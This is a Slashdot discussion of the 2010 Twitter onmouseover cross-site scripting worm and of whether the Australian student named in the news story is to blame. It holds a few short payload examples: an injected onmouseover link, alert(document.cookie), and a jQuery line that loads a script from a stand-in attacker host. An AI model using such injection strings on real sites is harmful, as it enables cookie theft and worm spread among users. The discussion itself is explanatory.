Aussie Student Responsible For Twitter Exploit 122
bennyboy64 writes "An Australian teen has caused havoc on Twitter by discovering an exploit that hit thousands of users, including Barack Obama's press secretary, and resulted in the tweets of a former British PM's wife linking to hardcore porn, The Sydney Morning Herald reports. Pearce Delphin, who is studying his last year at high school, said that he was surprised that 'so many famous people got infected.'"
Got a great career ahead of him (Score:3, Insightful)
Got a great career ahead of him, if he wants...
Re: (Score:2)
I'm not a lawyer but I'm pretty sure being "surprised that so many famous people got infected" is not a good legal defense.
"(Twitter) has indicated that it will not press charges against Delphin and has also declined to suspend his Twitter account" [telegraph.co.uk]
Wow sounds like he really lucked out considering the embarassment he caused a lot of big wigs, maybe "i'm surprised" is a good defense? I'll have to use that next time I'm pulled over for speeding: "Officer I'
Re: (Score:3, Informative)
He made a script that changed CSS, someone else used it for bad purposes. Hes not lucky, hes just a kid playing with computers that stumbled into something.
Re:Got a great career ahead of him (Score:5, Funny)
The 1980s called. They want their curiosity back, you terrorist sympathizer!
Re: (Score:2)
The remote computer tap, playback of a modem might have been a first for a police force.
A free book on the topic http://www.underground-book.net/ [underground-book.net]
Who caused it? (Score:1, Troll)
The guy who discovered the exploit, or the coding process which allowed it?
Re: (Score:1, Funny)
Re: (Score:2, Funny)
Well, the exploit uses JavaScript. This means that any browser that supports JavaScript does not provide some sort of NoScript facility that's installed and turned on by default would be vulnerable to the exploit.
Which means pretty much all of them.
But you can't even blame the browser; the security of Twitter's site belongs solely to Twitter and their crack website development staff.
Re: (Score:2)
Likewise the security of Microsoft OSses.
Microsoft should be fined an equivalent of the cost of all the unrequested commercial mail being transmitted on the internet, and should be required to pay everyone who has to delete more than twenty such mails a week for the time lost to the deletion process.
Microsoft should be required to pay every user whose bank account has been compromised the money lost.
And that's just for starters.
Sure, twitter's coding is bad, but the problem is made much worse by Microsoft's
Re: (Score:2)
Re: (Score:2)
Re: (Score:3, Insightful)
OH I know this one!!!
What is... the guy that discovered the exploit!
Because see, even though you discovered that the front door was left open it doesn't give you permission to go in. See how that works? Yeah I know it's very confusing, best just to not check if doors are open unless they're doors you own.
Re: (Score:1)
Agreed. However, what if that door's the Security Entrance for a nuclear power plant (or worse; see Cliff Stoll's "The Cuckoo's Egg")? Isn't it a good thing that people are testing these things? Their actions from then on should dictate their future. Exploit it, or report it to the auths?
Good testers are hard to find. Free, volunteer testers should be welcomed.
There's so much crap going on
Re: (Score:1)
(a) Tell every man and his dog the door is open, or
(b) Tell the operator of the power station that the door is open?
A "tester" would go for (b). This guy went for (a).
Re: (Score:1)
I think I suggested the ethical one would try to contact the authorities. (a) is last resort, after they prove ineffectual.
Re:Who caused it? (Score:5, Insightful)
Since the fall of Adam.
Well, you did ask.
Re: (Score:2)
Re: (Score:2)
That was not a security flaw. That was an opportunity.
"Responsible" (Score:5, Informative)
The summary kind of makes it sound like he's a kid who was looking for exploits and then used it to make a virus. This doesn't seem to be the case at all. According to the TFA he saw some people using CSS in their twitter posts, and wondered if he could use HTML/JavaScript (as I would be too). He found he could, did some experimenting, and his followers then started doing it too and it went viral (the idea), and then some malicious people found it, and went viral (the code).
I assume no punishment is being leveraged against him, but I'm sure many will misunderstand what happened and call for it anyways. Curiosity should be encouraged.
Re: (Score:2)
Re: (Score:2)
The javascript was inserted with an onmouseover (that twitter conveniently put into a specific spot in the HTML). Presumably, the CSS styles were done using a style attribute. I can't say for sure, I forgot what the code for the exploit looked like.
Re: (Score:2)
Likely some CSS style that failed to realize that (despite having no spaces) not only is red"onmouseover="//javascriptgoeshere an invalid CSS colour attribute*, it’s also a security hole if you don’t ensure that it’s properly parsed by the browser as a CSS colour attribute, not an onmouseover event.
*no idea which CSS style was being set, but I used colour as an example
Re: (Score:2)
I think you read everything I said and understand none of it. We're talking about the original CSS exploit vs. the JavaScript version. The bug was related to how Twitter parses hashtags when they are part of a URL. Only the javascript version would have used an onmouseover=" secretly inserted into the URL after a hashtag. The CSS exploit probably looked more like www.something.com/#test"style='color: red;'
Re: (Score:2)
Twitter parses links in text using a regular expression that basically looks for "http:" and reads until it hits white space, it then stuffs an <a href="{0}">{0}</a> around it. As the quote character is "not white space" the attack is your basic injection, stick in your own closing quote like this http;//foo"onmouseover="alert('bar');. The opening A tag then ends up looking like this: <a href="http;//foo"onmouseover="alert('bar');"> (I used a semicolon after t
Re: (Score:2)
Except that you're party wrong. It WAS a regular expression, but they had properly sanitized their main URL code. The problem was that a hash symbol in a URL, which is a valid part of a URL, was being converted wrong specifically by the t.co url shortener that they were starting to use combined with their hashtag regex:
http:/twitter.com/test#@"onmouseover="javascript:alaert('helloworld');"/
Re: (Score:3, Interesting)
We were doing this sort of crap on vBulletin boards 10 years ago. Stealing cookies, redirecting, replacing images; all for kicks. After messing about for a week, everyone got bored and we had javascript events blocked on our own board.
Re:"Responsible" (Score:4, Insightful)
Twitter is a simple message board, but it's accessed with virtual machines that were never designed but just kinda happened - in other words, modern browsers. Combine that with the attitude some people still have that you need to filter - enumerate all bad things and check for them - rather than simply escape the user-input string, and it shouldn't be a surprise that these things keep on happening.
Not that it really matters. An exploited website is like graffiti in real life: much ado about nothing.
Re: (Score:2)
What rock have you been under? Twitter are famous for total technical incompetence. They could barely keep their site up for years. People used it anyway. Sadly they are now a case study in how technical competence doesn't matter.
Not exactly (Score:5, Informative)
The article says he is the one that discovered the exploit, but he did not create the script that made 'tweets of a former British PM's wife linking to hardcore porn'. Just to clarify.
Re: (Score:1, Funny)
That doesn't even begin to clarify. Is he formerly British or formerly a PM? Is she formerly British or formerly his wife?
Re: (Score:2)
Too late for that - the evening papers in the UK have already run an article on him banging on about how he'd "created a virus for Japanese porn" and was "completely unrepentant for his actions". Tomorrow's knee jerk involves hanging the chaps who discovered HIV and next week we're going to decapitate all asbestos inspectors.
Six Degrees (Score:4, Interesting)
Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.
This is doubly true when the vector is a social networking site.
Re: (Score:3, Interesting)
Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.
Does this mean that Hollywood may not have been designed to route around Kevin Bacon in the event that Global Thermonuclear War takes him out? Can a dead Kevin Bacon star in such movies as "Weekend at Bernie Junior's" or as corpse-extras to keep the connections up?
Re: (Score:2)
Re: (Score:2)
Re:Six Degrees (Score:4, Insightful)
See! You can't!
Re: (Score:2)
Re: (Score:2)
But famous people are experts ... (Score:2)
Six degrees of Kevin Bacon pretty much ensures that famous people are going to get hit by the same kinds of malware that the rest of us have to deal with.
But famous people are technical experts. That's why we turn to them so often for their opinion and advice on important complicated problems that overwhelm and confuse the average person. ;-)
Re: (Score:2)
Re: (Score:2)
'Flatliners' and Oliver Stones 'JFK'
Kevin was in both of those with some other long-time and/or prolific actors.
Kiefer Sutherland, Julia Roberts and William Baldwin in 'Flatliners'.
Jack Lemmon, Kevin Cosner, Walter Matthau, Vincent D'Onofrio, Joe Pesci, Gary Oldman, Sissy Spacek, Tommy Lee Jones, John Candy were all in 'JFK'.
Hell, Fidel Castro was in some archive footagein 'JFK'. There is one degree of sep
who's responsible? (Score:2)
Aussie Student Responsible For Twitter Exploit
Discovering an exploit hardly makes him responsible for it. Let's put the blame where it belongs, probably either sloppy coding practices, or high pressure from clueless management to develop software quickly.
Re: (Score:2, Insightful)
Re:who's responsible? (Score:4, Insightful)
He didn’t really fathom the extent of the exploit, though. He thought it was just a novel toy to pop up alert boxes when you moved the mouse over the tweet. (Well, he actually got the idea of trying to steal users’ session cookies, but didn’t find a way to do it within the 140-character limit.) The idea that really allowed it to go viral – posting a new tweet – was conceived by someone else.
Hell, I’ve done similar... “oh look, the layout of the page broke after I put a special char in that form element... I wonder if I can make it alert(document.cookie) using that? (sure enough) yup...” The main difference in this case is that (a) it was a massive social networking site and (b) other people could see his experiments and come up with their own little variations on the exploit, some of which were less benign than his experiments had been...
Re: (Score:2, Insightful)
Re: (Score:1)
An idea is not resposible for those who hold it.
Re: (Score:3, Informative)
Hmm.
Do you have what we in Texas call a drivers' license?
If you do, do you remember, in your first year or so of driving any stupid mistakes you made just because of your lack of experience?
Do you have you own home server exposed to the 'net? Have you scanned it with the vulnerability scanners available?
And so forth, without even trying to approach the damping effect on free speech that you are suggesting.
Re: (Score:2)
Yes, but as a new/learner driver, you don't get let off if your stupid mistake ends up killing someone.
Re:who's responsible? (Score:4, Insightful)
Dude, that's almost always an AND, not an XOR.
Re: (Score:2)
He's responsible for discovering that he could change the color of texts.
He's not responsible for cross-linking to porn sites.
And he's no doubt not the first to try it, just the first since Twitter borked their own countermeasures against such things.
Re: (Score:2)
Re: (Score:2)
Except he didn't even discover it. This story is basically a fabrication. He was one person in a long chain who happened to play with it after it was discovered.
This often occurs in the australian media - any time an Australian is remotely involved in something no matter how obscure their role they run it as "An Australian Did Something And Somebody Noticed" which seems to appeal to the masses here.
Re:who's responsible? (Score:5, Interesting)
Suppose you post a mentally-handicapped guard at your castle gate. When you are gone, your enemy hands him a scroll with instructions and says "These are from your boss. He wants you to do them right away." The instructions tell him to ransack your bed-chamber and run your underwear up the flag-pole. The guard obeys. Who is to blame?
Re:who's responsible? (Score:5, Insightful)
...Suppose you post a mentally-handicapped guard at your castle gate. When you are gone, your enemy hands him a scroll with instructions and says "These are from your boss. He wants you to do them right away." The instructions tell him to ransack your bed-chamber and run your underwear up the flag-pole. The guard obeys. Who is to blame?
Twitter.
Oh wait, Microsoft.
No... Google.
Ooooh, Terrorists. Almost had me there.
Re: (Score:2)
I was going to guess child molesters, the two party system, daryl mcbride, and then idiotic users in that order, but I have no idea what we're talking about so I'm glad you went first. That could have been embarrassing.
Re: (Score:2)
Trespass [wikipedia.org]
Re: (Score:2)
Suppose you post a mentally-handicapped guard at your castle gate. When you are gone, your enemy hands him a scroll with instructions and says "These are from your boss. He wants you to do them right away." The instructions tell him to ransack your bed-chamber and run your underwear up the flag-pole. The guard obeys. Who is to blame?
Overzealous equal opportunity campaigners
Re: (Score:2)
The twit?
Re: (Score:1)
Famous (Score:2)
Famous people don't use Twitter.
Twitter makes people famous.
Followed by the other related quote:
There's a sucker born every minute.
I'd say Twitter is responsible. (Score:3, Insightful)
Shocking! (Score:2)
You mean twitter is actually useful for something?
Virus or exploit (Score:5, Interesting)
I am not a vegetarian, but I get annoyed at people that proclaim "I am vegetarian. I only eat fish, cheese, and chicken."
Similarly, anyone who was exposed to the computer wrecking virus's of the 90's thru to 2002, know what "infection" really means. I am not a low level coder, only high level languages in a business environment, but I do wonder what some old skoolers must think when they read about a piece of HTML Javascript being described as "Infection". I am vegetarian, I will eat steak only if its well done.
Re: (Score:2)
Actually, anyone who was exposed to Syphilis in the 18th century knows what "infection" really means, and it wasn't known as a disease of the rich for nothing.
Re: (Score:2)
So you're saying it was 100% fatal! Aiieeeeeeee!
Re: (Score:2)
Egads! Either you’re posting from the year 1910 or you’re likely dead by now!
(“The 18th century lasted from 1701 to 1800 in the Gregorian calendar.”)
Re: (Score:2)
Re: (Score:2)
Re: (Score:3, Informative)
Re: (Score:1)
From TFA... (Score:4, Insightful)
After a "little bit of coding", he said he "managed to generate a dialog box containing the data from within the Twitter cookie file". He said "theoretically this could be used to maliciously steal users' account details".
They make it sound difficult to alert(document.cookie)...
But "the problem was being able to write code that can steal usernames and passwords while still remaining under Twitter's 140 character tweet limit", he said.
Ah, so the 140-character limit is actually beneficial in some sense!
Re: (Score:2)
Ah, so the 140-character limit is actually beneficial in some sense!
On most "web 2.0" sites this is counteracted by JS libraries enabling 1/2-character abbreviations for excessively powerful code, allowing attackers to squeeze in things along the lines of:
$(this).append($('<script src=//example.com/hax.js>'))
Re: (Score:2)
Yes but there are cross-site scripting restrictions designed to limit the liability that can be generated there.
What I liked (Score:1)
That defense won't work. If you found this on say the NSA website, or Microsoft, don't you think they are gonna prosecute your ass for unauthorized use of a computer system. This would be akin to running blind sql injection on websites, and using that as a defense when you got caught.
Re: (Score:3, Interesting)
please read the rest of TFA, not just that sentence.
He just discovered it but did not exploit it in a malicious way. It was others who did that. I don't think he needs any "defense" for doing an alert('uh oh');
He probably means that its their responsibility that others abused the exploit that he did NOT write.
Re: (Score:3, Insightful)
This would be akin to running blind sql injection on websites, and using that as a defense when you got caught.
Little Bobby Tables strikes again. ;)
http://xkcd.com/327/ [xkcd.com]
Re: (Score:2, Informative)
would you prefer it hadn't been found and exposed so it can be fixed?
or would you prefer that unknown criminals were the ones exploiting it fraudulently?
because with a latent bug like this, those are the choices.
Re: (Score:1)
err... yeah. change that first line to "had been"
Not completely patched (Score:2, Interesting)
The video is still processing but should be up soon.
Shame on twitter (Score:1)
Don't they check for identical messages repeating rapidly?
Re: (Score:1)
That's not to say your idea is without merit, it just isn't a complete solution.
Re: (Score:1)
well, 140 signs are quite limiting.
I'm not saying that it's the ultimate protection, however this should be one of basic measures to detect appearance of new bots, viruses, etc.
Wtf? (Score:2)
"Exploit"? What, exactly, he "exploited"?
Hey, look at an "exploit" that makes shit posts, and has no value in relation to security whatsoever.
But yeah, he has a great career ahead of him, and he's next security wizard?
No wonder everyone left security industry, and you're left with monkeys interested in Twitter/Facebook only...
Re: (Score:1, Funny)
This kid did what exploit hunters do (Score:1)
Re: (Score:2, Insightful)
"This kid did what exploit hunters do, release code to the internet knowing it can be used for criminal purposes."
According to that logic, if i stab you in the face, the guy who sold me the knife is responsible.
This kid did not do anything wrong. All he did was let people know about the bug.
car analogy:
All he did was put a flyer in your window saying that if you switch on the headlights and the radio at the same time, your car will explode. He is now responsible if somebody else uses that knowledge to blow
He never exploited.. (Score:2, Insightful)
This is exactly the kind of scenario (Score:5, Interesting)
This is exactly the kind of scenario I envisioned last week [slashdot.org]. This kid's intent wasn't malicious, but think of what a blackhat could do with the HTML5 ping attribute, directing many thousands of twitter users all hammering a single site (and url shortening sites go down as collateral damage) to death. It could originate from any social networking site.
The ping attribute needs to be dropped or considered much more carefully.
Re:This is exactly the kind of scenario (Score:4, Insightful)
think of what a blackhat could do with the HTML5 ping attribute, directing many thousands of twitter users all hammering a single site (and url shortening sites go down as collateral damage) to death. It could originate from any social networking site.
And that’s any worse than, say, sending them all to a pastebin page that will repeatedly download all the images from the target website?
Re: (Score:2)
Danish newspapers claims Norwegian boy did it (Score:2, Informative)
Re: (Score:1)
Good thing (Score:2)
It's a good thing they just used onmouseover rather than onload. That would have been quite a chaotic mess.
Re: (Score:1, Informative)
bullshit, it has to be true that he discovered the exploit, netcraft confirms it:
http://news.netcraft.com/archives/2010/09/21/twitter-users-fall-victim-to-new-xss-worm.html [netcraft.com]
Re:What does he have to do with anything? (Score:5, Informative)
Reading comprehension fail.
"zzap appears to have discovered the vulnerability shortly after seeing RainbowTwtr's colourful use of CSS injection to display the colours of the rainbow."
He discovered *someone elses* use of the vulnerability. He then went on to make it more publicly known, and finally lamented the evil that was about to descend upon the twitterverse.
Re: (Score:1, Informative)
Correct. The actual exploit was discovered by a Japanese man who also discovered an earlier XSS attack on Twitter's dev servers. This story was manufactured by the Australian media.
Re: (Score:2)
Twitter wasn't already evil to start with?
Re: (Score:2)
Nothing could be as evil as using the word "twitterverse" without apparent irony.
Re: (Score:2)
I guess this was the "inout, inout" part of the bible referred to in A Clockwork Orange...?
Re: (Score:2)
Maybe because they (hackers) don't want to be banned from twitter when they are found out?
Disclaimer: I don't Twat or book faces.